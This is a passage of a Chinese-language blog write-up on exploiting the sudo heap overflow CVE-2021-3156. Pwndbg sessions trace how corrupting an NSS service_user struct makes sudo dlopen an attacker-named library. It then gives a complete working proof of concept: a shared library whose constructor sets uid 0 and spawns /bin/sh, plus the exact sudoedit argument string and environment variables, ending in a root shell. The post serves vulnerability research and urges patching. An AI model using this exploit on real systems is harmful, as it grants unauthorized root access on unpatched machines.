00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 │....│....│....│....│pwndbg> b sudoers.c:1014 Breakpoint 3 at 0x7fa8a7fcf19d: sudoers.c:1014. (2 locations)pwndbg> c...pwndbg> hexdump 0x557da7cd68e0+0000 0x557da7cd68e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 31 │....│....│....│...1│+0010 0x557da7cd68f0 3d 2f 78 78 78 78 20 00 00 00 00 00 00 00 00 00 │=xxx│xx..│....│....│+0020 0x557da7cd6900 00 00 00 00 00 00 00 00 31 3d 2f 78 78 78 78 20 │....│....│1=xx│xxx.│+0030 0x557da7cd6910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│pwndbg> p *(service_user *)(0x557da7cd68f0 - 0x30)$3 = { next = 0x2078, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 792539392), (unknown: 2021161080)}, library = 0x0, known = 0x3100000000000000, name = 0x557da7cd68f0 "=xxxxx "}pwndbg> cContinuing.Program received signal SIGSEGV, Segmentation fault.__GI___tsearch (key=key@entry=0x7ffd5fbe59f8, vrootp=vrootp@entry=0x557da7cd68e8, compar=compar@entry=0x7f60ade5c090

) at tsearch.c:309───[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────00:0000│ rsp 0x7ffd5fbe5990 —? 0x7f60adecd36a ?— 0x622520612500020001:0008│ 0x7ffd5fbe5998 —? 0x7f60ade5c090 (known_compare) ?— endbr64 02:0010│ 0x7ffd5fbe59a0 ?— 0x003:0018│ 0x7ffd5fbe59a8 —? 0x7f60ade5c8ec (__nss_database_lookup2+204) ?— test eax, eax04:0020│ 0x7ffd5fbe59b0 —? 0x557da7cdb308 ?— 0x72007800746f6f72 /* 'root' */05:0028│ 0x7ffd5fbe59b8 —? 0x557da7cd68c0 ?— 0x2078 /* 'x ' */06:0030│ 0x7ffd5fbe59c0 —? 0x7ffd5fbe5a40 ?— 0x007:0038│ 0x7ffd5fbe59c8 —? 0x7ffd5fbe5ac8 ?— 0x10001───[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────── ? f 0 7f60ade32d46 tsearch+54 f 1 7f60ade5ce51 __nss_lookup_function+97 f 2 7f60addf813f internal_getgrouplist+175 f 3 7f60addf83ed getgrouplist+109 f 4 7f60adf356b6 sudo_getgrouplist2_v1+198 f 5 7f60ad448433 sudo_make_gidlist_item+451 f 6 7f60ad4471de sudo_get_gidlist+286 f 7 7f60ad44051d runas_getgroups+93 f 8 7f60ad42f5e2 set_perms+1186 f 9 7f60ad42f5e2 set_perms+1186 f 10 7f60ad428c40 sudoers_lookup+112pwndbg> f 1#1 0x00007f60ade5ce51 in __GI___nss_lookup_function (ni=ni@entry=0x557da7cd68c0, fct_name=428 nsswitch.c: No such file or directory.pwndbg> p ni$4 = (service_user *) 0x557da7cd68c0pwndbg> p *ni$5 = { next = 0x2078, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 792539392), (unknown: 2021161080)}, library = 0x0, known = 0x3100000000000000, name = 0x557da7cd68f0 "=xxxxx "}

, fct_name@entry=0x7f60adece9d7 "initgroups_dyn") at nsswitch.c:428

根据之前的方案分析,library修改为NULL,name修改成任意值应该,程序能运行到dlopen才对,不过事实证明不是这样的,于是我根据crash信息和源码,我发现不单要修改library为NULL,而且know也要修改为NULL,否则在执行tsearch会crash,根本运行不到nss_load_library的dlopen。接下来我们重新调整参数,修改library、know为NULL,name修改为任意字符串。

pwndbg> b set_cmnd Breakpoint 1 at 0x7fdc9f272fd0: file ./sudoers.c, line 922.pwndbg> b nss_load_library Note: breakpoint 2 also set at pc 0x7f2c3b3194c0.Breakpoint 2 at 0x7f2c3b3194c0: file nsswitch.c, line 329.pwndbg> r -s 'xxxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'...pwndbg> p *(service_user *)0x55baa82948c0$1 = { next = 0x207878, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 1026621440), (unknown: 2021161080)}, library = 0x0, known = 0x0, name = 0x55baa82948f0 "1=xxxxx "}pwndbg> cContinuing.Breakpoint 2, nss_load_library (ni=ni@entry=0x55baa82948c0) at nsswitch.c:329pwndbg> p *ni$1 = { next = 0x207878, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 1026621440), (unknown: 2021161080)}, library = 0x0, known = 0x55baa829eee0, name = 0x55baa82948f0 "1=xxxxx "}pwndbg> ni...pwndbg> 0x00007f2c3b319627 359 in nsswitch.c───[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────── 0x7f2c3b319611

mov esi, 0x80000002 0x7f2c3b319616

mov rdi, rsp 0x7f2c3b319619

mov dword ptr [rax], 0x6f732e 0x7f2c3b31961f

mov byte ptr [rax + 5], 0 0x7f2c3b319623

mov word ptr [rax + 3], cx ? 0x7f2c3b319627

call __libc_dlopen_mode <__libc_dlopen_mode> rdi: 0x7fff12ac9fa0 ?— 'libnss_1=xxxxx .so.2' rsi: 0x80000002 rdx: 0x8 rcx: 0x322e 0x7f2c3b31962c

mov r10, qword ptr [rbp - 0x48] 0x7f2c3b319630

mov qword ptr [rbx + 8], rax 0x7f2c3b319634

mov rbx, qword ptr [r12 + 0x20] 0x7f2c3b319639

cmp qword ptr [rbx + 8], 0 0x7f2c3b31963e

je nss_load_library+507

我们修正好了参数,再次运行,发现已经可以同时修改library和known为NULL,这时我们继续调试程序,证明已经可以执行到nss_load_library的断点 了,再查看ni是符合预期的,我们继续调试跟踪成到__libc_dlopen_mode之前,发先rdi第一参数是’libnss_1=xxxxx .so.2’。到这里我们已经可以sudo程序打开一个任意字符名的so了。

修改环境变量1的值为/xxxx,这样dlopen就会尝试打开一个 ‘libnss_1=/xxxx\ .so.2’的动态库。我实现了一个简单的shellcode测试一下这个POC。

-> % iduid=1002(test) gid=1002(test) groups=1002(test)-> % mkdir -p libnss_1\=/-> % cat << EOF | gcc -fPIC -shared -o libnss_1=/xxxx\ .so.2 -xc -#include void __attribute__((constructor)) init() { !setuid(0) && !setgid(0) && execl("/bin/sh", "sh", (char *) 0);}EOF-> % tree.└── libnss_1= └── xxxx .so.21 directory, 1 file-> % env -i 1=/xxxx LC_IDENTIFICATION=en_US.UTF-8@xxxxxxxxxxxxx /tmp/sudo/bin/sudoedit -s 'xxxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'sh-5.0# iduid=0(root) gid=0(root) groups=0(root),1002(test)

到此,这个POC已经实现了提权,接下来我会写一下自己的心得:

理解内存管理的原理和对抗策略(内存分配算法、缓存算法一直都在升级,到目前为止还有很多可以利用的“姿势”,以后我可能会整理一份相关的笔记)

alsr只是随机化了内存基地址,在执行环境不变的情况下,反复执行同一个程序,各个内存变量之间的偏移是不变的。

要有依据的利用蛮力测试方法构造有效参数。(这个也是目前fuzzing测试的优化点)

总结

这个漏洞不是一个RCE漏洞,直接危害程度应该不会很大,间接危程度还是很高的,建议大家还是尽早修补了吧。

引用

https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值